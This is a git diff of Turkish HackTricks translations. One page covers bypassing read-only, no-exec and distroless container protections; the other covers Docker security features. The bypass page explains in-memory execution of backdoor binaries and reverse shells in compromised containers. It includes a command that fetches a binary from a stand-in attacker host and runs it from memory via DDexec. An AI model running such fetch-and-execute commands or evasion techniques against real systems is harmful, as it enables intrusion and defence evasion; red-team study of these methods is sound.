\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 38bcb6530..ed0aa697d 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -10,11 +10,11 @@ HackTricks'ı desteklemenin diğer yolları: * [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) * [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**]'e (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**]'a (https://github.com/carlospolop/hacktricks-cloud) destek olun. +* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek. -
+
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). @@ -44,15 +44,15 @@ securityContext: command: ["sh", "-c", "while true; do sleep 1000; done"] -Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu yüzden diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**. +Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu nedenle diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**. {% hint style="warning" %} -Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi) ikili dosyaları indirip çalıştırmayı **karmaşık hale getirir**. +Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi enumaratörler gibi) ikili dosyaları **indirip çalıştırmayı karmaşık hale getirir**. {% endhint %} ## En Kolay Atlatma: Betikler -İkili dosyaları bahsettiğimi unutmayın, **yürütülebilir herhangi bir betik**i, yorumlayıcının makinede olması koşuluyla yürütebilirsiniz, örneğin `sh` mevcutsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**. +İkili dosyaları belirttiğimi unutmayın, **yürütülebilir herhangi bir betik** (interpreter makinede varsa) çalıştırabilirsiniz, örneğin `sh` varsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**. Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir. @@ -60,26 +60,26 @@ Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer i Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **bellekten çalıştırmaktır**, çünkü **korumalar orada uygulanmaz**. -### FD + exec sistem çağrısı atlatması +### FD + exec syscall atlatma -Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` sistem çağrısı), bu korumalar tarafından korunmayacak ve ardından bir **`exec` sistem çağrısı** yaparak **çalıştırılacak dosya olarak fd'yi belirtebilirsiniz**. +Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` syscall), bu korumalar tarafından korunmayacak ve ardından bir **`exec` syscall** çağırarak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**. -Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve `create_memfd` sistem çağrısını çağırarak oluşturulan bir **fd** içinde **çözümlemek ve sıkıştırmak** için talimatlarla birlikte belirtilen dilde bir betik oluşturacaktır. +Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve onu **çözümlemek ve sıkıştırmak** için talimatlarla birlikte `create_memfd` syscall'i çağırarak oluşturulan bir **fd** içinde saklayacak ve çalıştırmak için **exec** syscall'i çağıracaktır. {% hint style="warning" %} -Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham sistem çağrıları** yapmak için herhangi bir **varsayılan yol**a sahip değillerdir, bu nedenle `create_memfd`yi çağırmak ve ikili dosyayı saklamak için **bellek fd** oluşturulamaz. +Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham syscalls** çağırmak için herhangi bir **varsayılan yol**a sahip değillerdir, bu nedenle `create_memfd`'yi çağırmak için **bellek fd** oluşturulamaz. -Ayrıca, `/dev/shm` içinde bir dosya ile **düzenli bir fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir. +Ayrıca, `/dev/shm` içinde bir dosya ile bir **düzenli fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir. {% endhint %} ### DDexec / EverythingExec -[**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işlemizin **`/proc/self/mem`**'ini üzerine yazarak işlemimizin belleğini **değiştirmenizi** sağlayan bir tekniktir. +[**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işleminizin **`/proc/self/mem`**'ini üzerine yazarak **belleğinizi değiştirmenizi** sağlayan bir tekniktir. -Bu nedenle, işlem tarafından yürütülen derleme kodunu **kontrol ederek**, bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz**. +Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz**. {% hint style="success" %} -**DDexec / EverythingExec**, kendi **shellcode**'unuzu yüklemenize ve **çalıştırmanıza** veya **bellekten herhangi bir ikili dosyayı çalıştırmanıza** olanak tanır. +**DDexec / EverythingExec**, kendi **shellcode**'unuzu yüklemenize ve **bellekten** herhangi bir **ikili dosyayı çalıştırmanıza** olanak tanır. {% endhint %} ```bash # Basic example @@ -87,45 +87,45 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo ``` ### MemExec -[**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. Herhangi bir **farklı ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan, sadece memexec shellcode'unu DDexec tekniği aracılığıyla çalıştırabilir ve ardından **bu deamon ile iletişim kurarak yüklemek ve çalıştırmak için yeni ikili dosyaları geçirebilirsiniz**. +[**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. **Farklı bir ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan**, DDexec tekniği aracılığıyla memexec shellcode'unu çalıştırabilir ve ardından bu deamon ile iletişim kurarak yeni ikili dosyaları yükleyip çalıştırabilirsiniz. **Memexec'i kullanarak PHP ters kabuk'tan ikili dosyaları çalıştırmak için bir örnek** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulunabilir. ### Memdlopen -DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin **daha kolay bir yolunu** sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir. +DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin daha kolay bir yolunu sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir. ## Distroless Atlatma ### Distroless Nedir -Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **çıplak minimum bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıkları gibi, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar. +Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **en temel bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıklarını içerir, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar. Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin **saldırı yüzeyini azaltmak** ve sömürülebilecek güvenlik açıklarının sayısını en aza indirmektir. ### Ters Kabuk -Distroless konteynerde genellikle **`sh` veya `bash`** gibi düzenli bir kabuk bulamayabilirsiniz. Ayrıca `ls`, `whoami`, `id` gibi ikili dosyaları da bulamayacaksınız... genellikle bir sistemde çalıştırdığınız her şeyi bulamazsınız. +Distroless konteynerlerde genellikle **`sh` veya `bash`** gibi normal bir kabuk bulamayabilirsiniz. Ayrıca, genellikle bir sistemde çalıştırdığınız `ls`, `whoami`, `id` gibi ikili dosyaları da bulamazsınız. {% hint style="warning" %} -Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandıramayacaksınız**. +Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandırma** yapamayacaksınız. {% endhint %} -Ancak, ele geçirilmiş bir konteyner örneğinde flask web çalışıyorsa, o zaman python yüklüdür ve bu nedenle bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve aynı şey çoğu **betik dili** için geçerlidir. +Ancak, ele geçirilen konteyner örneğin bir flask web uygulaması çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve çoğu **betik dili** ile aynı şeyi yapabilirsiniz. {% hint style="success" %} -Betik dili kullanarak dilin yeteneklerini kullanarak sistemde **numaralandırabilirsiniz**. +Betik dili kullanarak dilin yeteneklerini kullanarak sistemde **numaralandırma yapabilirsiniz**. {% endhint %} -Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak dosya sistemine **ikili dosyalarınızı yazabilir** ve **çalıştırabilirsiniz**. +Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak **ikili dosyalarınızı dosya sistemine yazabilir** ve **çalıştırabilirsiniz**. {% hint style="success" %} -Ancak, bu tür konteynerlerde genellikle bu korumalar bulunur, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**. +Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**. {% endhint %} -**RCE zafiyetlerini kullanarak bazı betik dillerinden ters kabuklar almak ve bellekten ikili dosyaları çalıştırmak için örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir. +**RCE zafiyetlerini kullanarak betik dillerinden ters kabuklar almayı ve hafızadan ikili dosyaları çalıştırmayı nasıl istismar edeceğinize dair örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir. -
+
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). @@ -139,8 +139,8 @@ HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR'lar göndererek paylaşın. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin. +* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index 81300ef69..eedd2a43c 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -8,13 +8,13 @@ HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. -
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ @@ -24,7 +24,7 @@ Bugün Erişim Alın: ## **Temel Docker Motoru Güvenliği** -**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir. +**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ini kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı işlemlerini daha da kısıtlayabilir. ![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) @@ -32,7 +32,7 @@ Bugün Erişim Alın: Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir. -Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` üzerinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinde açmak için aşağıdaki ayarları ekleyin: +Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` adresinde Unix soket üzerinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinde açmak için aşağıdaki ayarları ekleyin: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart @@ -50,11 +50,11 @@ Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir * [**Docker Hub**](https://hub.docker.com): Docker'dan genel bir kayıt servisi. * [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmasına izin veren açık kaynaklı bir proje. -* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kaydı. +* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kayıt sunumu. ### Görüntü Tarama -Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzunu karşılaştırarak güvenlik açıklarını belirlemek için çalışır. +Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açıklarını belirlemek için güvenlik açığı deposuyla karşılaştırarak tarar. Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/). @@ -94,9 +94,9 @@ Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bü - **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz. - Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır. -- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parolaların belirlenmesini gerektirir ve Docker ayrıca artırılmış güvenlik için Yubikey'i de destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz. +- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir ve Docker ayrıca gelişmiş güvenlik için Yubikey'i de destekler. Daha fazla detay [burada](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) bulunabilir. - İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır. -- İlk imaj yükleme işleminden sonra, Docker, imajı imzalamak için depo anahtarının parolasını ister. +- İlk imaj yüklemeden sonra imajı imzalamak için Docker, depo anahtarının parolasını ister. Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın: ```bash @@ -106,10 +106,10 @@ Docker ana bilgisayarlar arasında geçiş yaparken işlemleri sürdürebilmek i *** -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -122,18 +122,18 @@ Bugün Erişim Alın: #### Ana İşlem İzolasyon Özellikleri -Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi açısından önemlidir. İşte temel kavramların basitleştirilmiş bir açıklaması: +Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi için hayati önem taşır. İşte temel kavramların basitleştirilmiş bir açıklaması: **Ad Alanları (Namespaces)** * **Amaç**: İşlemler, ağ ve dosya sistemleri gibi kaynakların izolasyonunu sağlamak. Özellikle Docker'da, ad alanları bir konteynerin işlemlerini ana bilgisayardan ve diğer konteynerlerden ayırır. -* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya temel sistem çağrısı) kullanılır, ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller. +* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya altta yatan sistem çağrısı) kullanılır, ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller. * **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayarın ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir. **Kontrol Grupları (CGroups)** -* **Fonksiyon**: İşlemler arasında kaynak tahsisi için başlıca kullanılır. -* **Güvenlik Yönü**: CGroups kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir. +* **Fonksiyon**: İşlemler arasında kaynak tahsisi yapmak için kullanılır. +* **Güvenlik Yönü**: CGroups, kendileri başlıca izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir. **Yetenek Düşürme (Capability Drop)** @@ -150,7 +150,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca **Seccomp** -Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur.**\ +Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur**.\ **Varsayılan Docker Seccomp profili**, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinde bulunabilir. **AppArmor** @@ -163,9 +163,9 @@ Bu, yetenekleri, sistem çağrılarını, dosya ve klasörlere erişimi azaltman ### Ad Alanları -**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **bir küme işlem** **bir dizi** **kaynağı görürken**, **başka** bir **küme işlem** **farklı** bir **kaynak** kümesi görür. Bu özellik, aynı ad alanına sahip kaynaklar ve işlemler kümesi oluşturarak çalışır, ancak bu ad alanları farklı kaynaklara işaret eder. Kaynaklar birden çok alanda bulunabilir. +**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlere ayırır**, böylece bir **set işlem** bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, bir dizi kaynak ve işlem için aynı ad alanına sahip olmakla birlikte, bu ad alanlarının farklı kaynaklara işaret etmesiyle çalışır. Kaynaklar birden çok alanda bulunabilir. -Docker, Konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır: +Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır: * pid ad alanı * mount ad alanı @@ -181,8 +181,8 @@ Docker, Konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Ad Ala ### cgroups -Linux çekirdek özelliği **cgroups**, **cpu, bellek, io, ağ bant genişliği gibi kaynakları sınırlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\ -Aşağıda, kullanıcı alanı belleği 500m'ye, çekirdek belleği 50m'ye, cpu payını 512'ye, blkioweight'i 400'e sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner, CPU'nun %33'üne kadar alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir. +Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\ +Aşağıda, kullanıcı alanı belleği 500m, çekirdek belleği 50m, cpu payını 512, blkioweight'ı 400 ile sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteynerin CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğu durumda, CPU kaynak çatışması durumunda her Konteynerin CPU'nun %33'üne 